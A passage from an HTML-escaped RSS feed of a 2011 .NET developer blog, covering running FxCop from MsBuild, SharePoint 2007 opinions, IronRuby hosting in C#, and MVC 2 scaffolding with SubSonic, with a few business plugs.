&lt;span class="lnum"&gt;   1:  &lt;/span&gt;FxCopCmd.exe /searchgac /rule:NamingRules.dll /file:My.Framework.dll /out:fxCop.xml
&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Parameters that are passed in 
&lt;/p&gt;
&lt;p&gt;
/searchgac &amp;ndash; Tells FxCop to search the gac for any referenced dll&amp;#39;s not found in say the bin folder.&amp;nbsp; If you forget this FxCop will error out. 
&lt;/p&gt;
&lt;p&gt;
/rule:Rull.dll &amp;ndash; You can specify as many rules as you like to check against your compiled dll just repeat this command with each of the Rules you like.&amp;nbsp; Unless you have a specific FxCop project you must specify at least one rule. 
&lt;/p&gt;
&lt;p&gt;
/file:YourCompiled.dll &amp;ndash; Much like the rule parameter you can specify as many .dll&amp;rsquo;s as you would like to check but need at least one. 
&lt;/p&gt;
&lt;p&gt;
/out:someXml.xml &amp;ndash; You are going to want to specify an XML file to output the results to so that you can integrate the results in your build log.&amp;nbsp;&amp;nbsp; CruiseControl.net uses XSL to transform the generated XML into HTML for viewing in its Web Dashboard and auto generated Emails. 
&lt;/p&gt;
&lt;h2&gt;Putting it all together and error 9009&lt;/h2&gt;
&lt;p&gt;
Now that you know what its doing lets put it together and show how to call FxCop from MsBuild&amp;rsquo;s &amp;ldquo;Exec&amp;rdquo; Task. 
&lt;/p&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;
&lt;span class="lnum"&gt;   1:  &lt;/span&gt;  &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Target&lt;/span&gt; &lt;span class="attr"&gt;Name&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;FxCop&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;DependsOnTargets&lt;/span&gt;=&amp;quot;&lt;span class="attr"&gt;BuildProject&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre&gt;
&lt;span class="lnum"&gt;   2:  &lt;/span&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Exec&lt;/span&gt; &lt;span class="attr"&gt;Command&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;&amp;amp;quot;C:\Program Files\Microsoft FxCop 1.36\FxCopCmd.exe&amp;amp;quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre&gt;
&lt;span class="kwrd"&gt; /searchgac /rule:&amp;amp;quot;C:\Program Files\Microsoft FxCop 1.36\Rules\NamingRules.dll&amp;amp;quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre&gt;
&lt;span class="kwrd"&gt; /file:C:\Project\bin\My.Framework.dll /out:fxCop.xml&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;ContinueOnError&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre class="alt"&gt;
&lt;span class="lnum"&gt;   3:  &lt;/span&gt;        &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;Exec&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre&gt;
&lt;span class="lnum"&gt;   4:  &lt;/span&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;Target&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;
Error 9009- I saw a lot of entries about this error when googling to figure it out myself.&amp;nbsp; The error is caused by calling C:\Program Files\.. without putting quotes around it (&amp;ldquo;C:\Program Files..&amp;rdquo;).&amp;nbsp; As we are calling it from an MsBuild file which is XML we have to encode the quotes as &amp;ldquo;&amp;amp;quot;&amp;rdquo; 
&lt;/p&gt;
&lt;p&gt;
ContinueOnError &amp;ndash; Unless you have written your own FxCop rules you are most likely going to want to set this value to true so that your build doesn&amp;rsquo;t fail each time you break one of the many rules that FxCop specifies. 
&lt;/p&gt;
</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Calling-FxCop-from-MsBuild</guid></item><item><title>SharePoint the right tool for the right job</title><link>http://blog.runxc.com:80/SharePoint-the-right-tool-for-the-right-job</link><description>&lt;p&gt;So I have been getting to know SharePoint lately as the project that I have been working on since December was sold as a SharePoint solution.&amp;#160; Now I have no doubt that what we are building is going to turn out but it just seems that too often SharePoint is sold by some as a Silver Bullet where everything should go.&amp;#160; I love the product for its document Sharing abilities and for how easy it is to just throw up a wiki or a blog if you need an internal place to put some information.&amp;#160; It is also nice if you need to set up a place to track information for your organization as long as you don't have too much information or it isn't too complex.&lt;/p&gt;  &lt;h2&gt;Where SharePoint is oversold&lt;/h2&gt;  &lt;p&gt;As I mentioned above SharePoint is nice for throwing up a wiki but if you need a good wiki for somethink a bit larger I wouldn't use SharePoints wiki as there are better wikis out there.&amp;#160; Same thing with the blog there are probably 50+ blogengines that do a better job.&amp;#160;&amp;#160; As for storing your data SharePoint can get you up quickly but if you have more than 2,000 records in a list it is going to start bogging down.&amp;#160;&amp;#160; &lt;/p&gt;  &lt;p&gt;SharePoint has a good calendar that integrates with Outlook but if you want to put something other than tasks on the calendar you are going to have to build your own Calendar.&amp;#160; There is a lot that SharePoint does but often there is a better system designed specifically for what you need to do.&amp;#160; An example of this would be a bug tracking system that integrated with your Source Control System.&amp;#160; There are a lot of free systems that do a good job at this though with a lot of configuration you could use SharePoint to accomplish the same task.&lt;/p&gt;  &lt;h2&gt;Webparts aren't the only way to go&lt;/h2&gt;  &lt;p&gt;Many systems do a better job than SharePoint at their specific task but don't do the other things that SharePoint does which is probably why SharePoint gets used so often outside of scope. that is some organization is already using it and just want to add additional functionality outside of what it was meant for.&amp;#160; The silver lining that I have found is that very often you can just use the master pages of SharePoint and add your own ASPX pages/User Controls/JQuery etc and get past some of the defecencies of creating a UI without a designer/html page to envision what you are creating.&amp;#160; &lt;/p&gt;  &lt;h2&gt;A Waste of time?&lt;/h2&gt;  &lt;p&gt;So to rap up this poor post(as it has no code. all good posts should have some code).&amp;#160; I have been finding that you can get the job done in SharePoint and if you have a simple application then you might save some time leveraging the Authentication/UI of SharePoint but as the project grows you will find yourself taking longer to create the same functionality as I would have to say that 30-40% more time is thrown away developing in a SharePoint environment as the deploying/debugging iterative development cycles take longer in SharePoint.&amp;#160; Why couldn't all of our government clients ask for ASP.NET MVC?&lt;/p&gt;  &lt;p&gt;--Just a note.&amp;#160; My experience/opinions noted above are about SharePoint 2007.&amp;#160;&amp;#160; I have heard that debugging and storing more complex data is much better in SharePoint 2010 but I don't foresee our clients getting SP2010 for a couple years.&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:29 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/SharePoint-the-right-tool-for-the-right-job</guid></item><item><title>Custom Software in Ogden Utah</title><link>http://blog.runxc.com:80/Custom-Software-in-Ogden-Utah</link><description>&lt;p&gt;If you are looking for some custom software in Ogden, Utah you should take a look at the new company that I recently started this last year, &lt;a href="http://www.tek-flow.com/"&gt;Tek-Flow&lt;/a&gt;.&amp;#160;&amp;#160; If you have a business need for some custom software I would like to hear about it.&amp;#160; &lt;/p&gt;  &lt;h4&gt;Specialties of Tek-Flow&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Business Applications requiring input validation and business rules enforcement &lt;/li&gt;    &lt;li&gt;Database Design with web and mobile interfaces to access and edit your data &lt;/li&gt;    &lt;li&gt;Security Including encryption, password protection and threat analysis &lt;/li&gt;    &lt;li&gt;Automating Reports and manual processes &lt;/li&gt;    &lt;li&gt;Barcoding technologies including creating barcodes and mobile applications to read those bar codes&lt;/li&gt; &lt;/ul&gt;  &lt;ul&gt;   &lt;h2&gt;Worried about cost?&lt;/h2&gt; One of the focuses of Tek-Flow is to create Software Services to help small businesses automate their businesses processes and reduce the amount of paperwork.&amp;#160; If you have a business need for software let us know what you are willing to pay on a monthly basis and we will work with you to create a solution to solve your needs.&lt;/ul&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:29 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Custom-Software-in-Ogden-Utah</guid></item><item><title>MVC App for an Ogden Dentist</title><link>http://blog.runxc.com:80/MVC-App-for-an-Ogden-Dentist</link><description>&lt;p&gt;So I recently created a small website for an &lt;a href="http://www.gilbertfamilydentistry.net/"&gt;Ogden Dentist&lt;/a&gt; by the name of Dr. J. Bryan Gilbert.&amp;#160; If you live in Ogden Utah and are looking for a Dentist I can highly recommend him as he is my family Dentist.&lt;/p&gt;  &lt;p&gt;With that plug aside I found it quiet interesting building the site as I was able to use Oomph for the first time to create a virtual contact card along with the use of an hcard so that search engines and people can more easily find his dental office in South Ogden.&lt;/p&gt;  &lt;p&gt;I built the site using ASP.NET MVC2 which made it quiet fun and I found that it was very easy to integrate some jQuery functionality to the site.&lt;/p&gt;  &lt;h2&gt;SparkViewEngine&lt;/h2&gt;  &lt;p&gt;I have been using the SparkViewEngine lately in any demo applications that I&amp;#160; build and have decided that I will be creating my next home project using the SparkViewEngine as it has some definite syntactical sugar.&amp;#160; So if you need a website I am looking for an excuse to build something to try out this new technology.&lt;/p&gt;  &lt;p&gt;Oh and just for another plug go and check out the website of &lt;a href="http://www.gilbertfamilydentistry.net/Ogden/Dentist/Gilbert.aspx?Dentist=J%20Bryan%20Gilbert"&gt;Dr. J. Bryan Gilbert&lt;/a&gt;&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:29 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/MVC-App-for-an-Ogden-Dentist</guid></item><item><title>Calling an Interface Method using IronRuby in C#</title><link>http://blog.runxc.com:80/Calling-an-Interface-Method-using-IronRuby-in-C</link><description>&lt;p&gt;So today while at work I needed to create a simple IronRuby prototype to make sure I understood how to host or call IronRuby code from C#.&amp;#160;&amp;#160; I know that I have read a number of articles about how easy it is but when "Binging" around for a solution all I returned were a bunch of forum posts on the IronRuby site and no simple snippets that put all of the pieces below.&lt;/p&gt;  &lt;h2&gt;Using an Interface to make life easier in .Net 3.5&lt;/h2&gt;  &lt;p&gt;After reading a number of posts and putting some pieces together I decided that what I wanted to do was use a .Net Interface to interact with my IronRuby class that is meant to be as an extension layer to a .Net application that I am building.&amp;#160; Below is the code that demonstrates how to create a hosting engine in C# and call IronRuby methods from C# without using .Net 4.0 as my application is running on .Net 3.5.&lt;/p&gt;  &lt;div class="csharpcode"&gt;   &lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections.Generic;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; Microsoft.Scripting.Hosting;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; IronRuby;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;namespace&lt;/span&gt; IronRubyConsole&lt;/pre&gt;

  &lt;pre class="alt"&gt;{&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;class&lt;/span&gt; Program&lt;/pre&gt;

  &lt;pre class="alt"&gt;    {&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; Main(&lt;span class="kwrd"&gt;string&lt;/span&gt;[] args)&lt;/pre&gt;

  &lt;pre class="alt"&gt;        {&lt;/pre&gt;

  &lt;pre&gt;            var runtime = Ruby.CreateRuntime();&lt;/pre&gt;

  &lt;pre class="alt"&gt;            var engine = runtime.GetEngine(&lt;span class="str"&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;);&lt;/pre&gt;

  &lt;pre&gt;            &lt;span class="rem"&gt;//engine.Execute(&amp;quot;puts 'Just a Trial Method'&amp;quot;);&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;            var scope = engine.Execute(&lt;span class="str"&gt;@&amp;quot;&lt;/pre&gt;

  &lt;pre&gt;            require 'IronRubyConsole'&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;            class ExampleCalc&lt;/pre&gt;

  &lt;pre class="alt"&gt;               include IronRubyConsole::ICalc&lt;/pre&gt;

  &lt;pre&gt;             &lt;/pre&gt;

  &lt;pre class="alt"&gt;              def calculate()&lt;/pre&gt;

  &lt;pre&gt;                puts 'hello IronRuby from C# code'&lt;/pre&gt;

  &lt;pre class="alt"&gt;                return 0&lt;/pre&gt;

  &lt;pre&gt;              end&lt;/pre&gt;

  &lt;pre class="alt"&gt;            end&lt;/pre&gt;

  &lt;pre&gt;            return ExampleCalc.new&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;quot;&lt;/span&gt;);&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;            ICalc calculator = (ICalc)scope;&lt;/pre&gt;

  &lt;pre&gt;            var result = calculator.calculate();&lt;/pre&gt;

  &lt;pre class="alt"&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; 0;&lt;/pre&gt;

  &lt;pre&gt;        }&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;    }&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;interface&lt;/span&gt; ICalc&lt;/pre&gt;

  &lt;pre class="alt"&gt;    {&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;object&lt;/span&gt; calculate();&lt;/pre&gt;

  &lt;pre class="alt"&gt;    }&lt;/pre&gt;

  &lt;pre&gt;}&lt;/pre&gt;
&lt;/div&gt;
&lt;style type="text/css"&gt;
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:29 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Calling-an-Interface-Method-using-IronRuby-in-C</guid></item><item><title>Scaffolding with Asp.Net MVC 2 and SubSonic 3</title><link>http://blog.runxc.com:80/Scaffolding-with-AspNet-MVC-2-and-SubSonic-3</link><description>&lt;p&gt;So I would consider myself one of those Alt.Net guys always looking for a better way of doing things.&amp;#160; I have seen a few good C# guys move to Ruby and once introduced to SubSonic 2.1 with the ActiveRecord pattern and Scaffolding I could see why they would love those types of time saving things baked into the Framework.&amp;#160; Putting my monologue aside one of the things that I have been missing with SubSonic 3.0 is scaffolding.&lt;/p&gt;  &lt;h2&gt;Why Scaffolding&lt;/h2&gt;  &lt;p&gt;Any website of any size has some sort of Administration Module.&amp;#160; Why spend more time than necessary building the part of your website that hardly anyone ever sees or uses.&amp;#160; Oh and I'll bet you have never been asked to make a prototype.&lt;/p&gt;  &lt;h2&gt;MVC2 is so close but is still missing the "Baked In"&lt;/h2&gt;  &lt;p&gt;With ASP.NET MVC2 and the Html.EditorFor() you hav3 75% of what it takes to get Scaffolding working i.e. a system to create an editor dynamically for you and to top it off you can put attributes on your classes to change the display or validation of the class.&lt;/p&gt;  &lt;p&gt;While I was playing with MVC 2 it kind of hit me. I'll bet I can make a single View to handle the Editing/Viewing/Displaying of any Model and put it in the Shared Folder so that it is easily accessible to any Controller.&amp;#160; &lt;/p&gt;  &lt;p&gt;While I was at it I could create a Base Class for a Controller that would use SubSonic to persist any POCO class to the DB using the SimpleRepository to give me a Scaffolding affect.&lt;/p&gt;  &lt;h2&gt;The End Result&lt;/h2&gt;  &lt;p&gt;So now to create a Table in my DB, an List View of the Items in the Table, a Create New View and an Edit View I only need to add a POCO Class like so&lt;/p&gt;  &lt;div class="csharpcode"&gt;   &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; Test&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   2:  &lt;/span&gt;{&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   3:  &lt;/span&gt;    [HiddenInput]&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   4:  &lt;/span&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; ID { get; set; }&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   5:  &lt;/span&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Name { get; set; }&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   6:  &lt;/span&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; DateTime TestDate { get; set; }&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   7:  &lt;/span&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; Decimal TestDecimal { get; set; }&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   8:  &lt;/span&gt;}&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;

&lt;p&gt;And Then a Controller Like So&lt;/p&gt;

&lt;div class="csharpcode"&gt;
  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; TestController : ScaffoldController&amp;lt;Test&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   2:  &lt;/span&gt;    {&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   3:  &lt;/span&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   4:  &lt;/span&gt;    }&lt;/pre&gt;
&lt;/div&gt;
&lt;style type="text/css"&gt;

.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;Ok ok I know I cheated showing you the End Result but I often don't care about what they did until I decide that I might some time want to do the same thing.&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;h2&gt;How I Got There&lt;/h2&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;In order to get the Desired Affect I created the following View&lt;/p&gt;

&lt;div class="csharpcode"&gt;
  &lt;pre class="alt"&gt;&amp;lt;asp:Content ID=&lt;span class="str"&gt;&amp;quot;Content2&amp;quot;&lt;/span&gt; ContentPlaceHolderID=&lt;span class="str"&gt;&amp;quot;MainContent&amp;quot;&lt;/span&gt; runat=&lt;span class="str"&gt;&amp;quot;server&amp;quot;&lt;/span&gt;&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;    &amp;lt;%&lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;this&lt;/span&gt;.ViewContext.RouteData.Values[&lt;span class="str"&gt;&amp;quot;action&amp;quot;&lt;/span&gt;].ToString() == &lt;span class="str"&gt;&amp;quot;Edit&amp;quot;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt; || &lt;span class="kwrd"&gt;this&lt;/span&gt;.ViewContext.RouteData.Values[&lt;span class="str"&gt;&amp;quot;action&amp;quot;&lt;/span&gt;].ToString() == &lt;span class="str"&gt;&amp;quot;Add&amp;quot;&lt;/span&gt;)&lt;/pre&gt;

  &lt;pre&gt;      { %&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &amp;lt;h2&amp;gt;Editor&amp;lt;/h2&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;        &amp;lt;%Html.BeginForm(&lt;span class="kwrd"&gt;new&lt;/span&gt; { action = &lt;span class="kwrd"&gt;this&lt;/span&gt;.ViewContext.RouteData.Values[&lt;span class="str"&gt;&amp;quot;action&amp;quot;&lt;/span&gt;].ToString() }); %&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &amp;lt;%=Html.EditorForModel() %&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;        &amp;lt;input type=&lt;span class="str"&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;value&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;Save&amp;quot;&lt;/span&gt; /&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &amp;lt;%Html.EndForm();%&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;        &amp;lt;%=Html.RouteLink(&lt;span class="str"&gt;&amp;quot;Back To List&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;new&lt;/span&gt; { action = &lt;span class="str"&gt;&amp;quot;Index&amp;quot;&lt;/span&gt; })%&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &amp;lt;%} %&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;    &amp;lt;%&lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;this&lt;/span&gt;.ViewContext.RouteData.Values[&lt;span class="str"&gt;&amp;quot;action&amp;quot;&lt;/span&gt;].ToString() == &lt;span class="str"&gt;&amp;quot;Display&amp;quot;&lt;/span&gt;)&lt;/pre&gt;

  &lt;pre class="alt"&gt;      { %&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;        &amp;lt;%=Html.DisplayForModel() %&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &lt;/pre&gt;

  &lt;pre&gt;    &amp;lt;%} %&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &amp;lt;%&lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;this&lt;/span&gt;.ViewContext.RouteData.Values[&lt;span class="str"&gt;&amp;quot;action&amp;quot;&lt;/span&gt;].ToString() == &lt;span class="str"&gt;&amp;quot;Index&amp;quot;&lt;/span&gt;)&lt;/pre&gt;

  &lt;pre&gt;      { %&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &amp;lt;%=Html.RouteLink(&lt;span class="str"&gt;&amp;quot;Add New&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;new&lt;/span&gt; { action = &lt;span class="str"&gt;&amp;quot;Add&amp;quot;&lt;/span&gt; })%&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;        &amp;lt;br /&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;        &amp;lt;%=Html.Table(Model &lt;span class="kwrd"&gt;as&lt;/span&gt; IEnumerable) %&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;    &amp;lt;%} %&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &amp;lt;%&lt;span class="kwrd"&gt;if&lt;/span&gt;(ViewData.ContainsKey(&lt;span class="str"&gt;&amp;quot;results&amp;quot;&lt;/span&gt;)){ %&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;        &amp;lt;%=ViewData[&lt;span class="str"&gt;&amp;quot;results&amp;quot;&lt;/span&gt;].ToString() %&amp;gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &amp;lt;%} %&amp;gt;&lt;/pre&gt;

  &lt;pre&gt;&amp;lt;/asp:Content&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;style type="text/css"&gt;

.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;and the following Controller&lt;/p&gt;

&lt;div class="csharpcode"&gt;
  &lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections.Generic;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Linq;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Web;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Web.Mvc;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; SubSonic;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; SubSonic.Repository;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; SubSonic.DataProviders;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; ScaffoldController&amp;lt;T&amp;gt; : Controller &lt;span class="kwrd"&gt;where&lt;/span&gt; T: &lt;span class="kwrd"&gt;class&lt;/span&gt;,&lt;span class="kwrd"&gt;new&lt;/span&gt;()&lt;/pre&gt;

  &lt;pre class="alt"&gt;{&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; SimpleRepository simpleRepo;&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; SimpleRepository Repo&lt;/pre&gt;

  &lt;pre&gt;    {&lt;/pre&gt;

  &lt;pre class="alt"&gt;        get&lt;/pre&gt;

  &lt;pre&gt;        {&lt;/pre&gt;

  &lt;pre class="alt"&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (simpleRepo == &lt;span class="kwrd"&gt;null&lt;/span&gt;)&lt;/pre&gt;

  &lt;pre&gt;                simpleRepo = &lt;span class="kwrd"&gt;new&lt;/span&gt; SimpleRepository(SimpleRepositoryOptions.RunMigrations);&lt;/pre&gt;

  &lt;pre class="alt"&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; simpleRepo;&lt;/pre&gt;

  &lt;pre&gt;        }&lt;/pre&gt;

  &lt;pre class="alt"&gt;    }&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;virtual&lt;/span&gt; ActionResult Edit(&lt;span class="kwrd"&gt;object&lt;/span&gt; key)&lt;/pre&gt;

  &lt;pre&gt;    {&lt;/pre&gt;

  &lt;pre class="alt"&gt;        T mod = Repo.Single&amp;lt;T&amp;gt;(key);&lt;/pre&gt;

  &lt;pre&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; View(&lt;span class="str"&gt;&amp;quot;Scaffold&amp;quot;&lt;/span&gt;, mod);&lt;/pre&gt;

  &lt;pre class="alt"&gt;    }&lt;/pre&gt;

  &lt;pre&gt;&amp;#160;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    [AcceptVerbs(HttpVerbs.Post)]&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;virtual&lt;/span&gt; ActionResult Edit(T mod)&lt;/pre&gt;

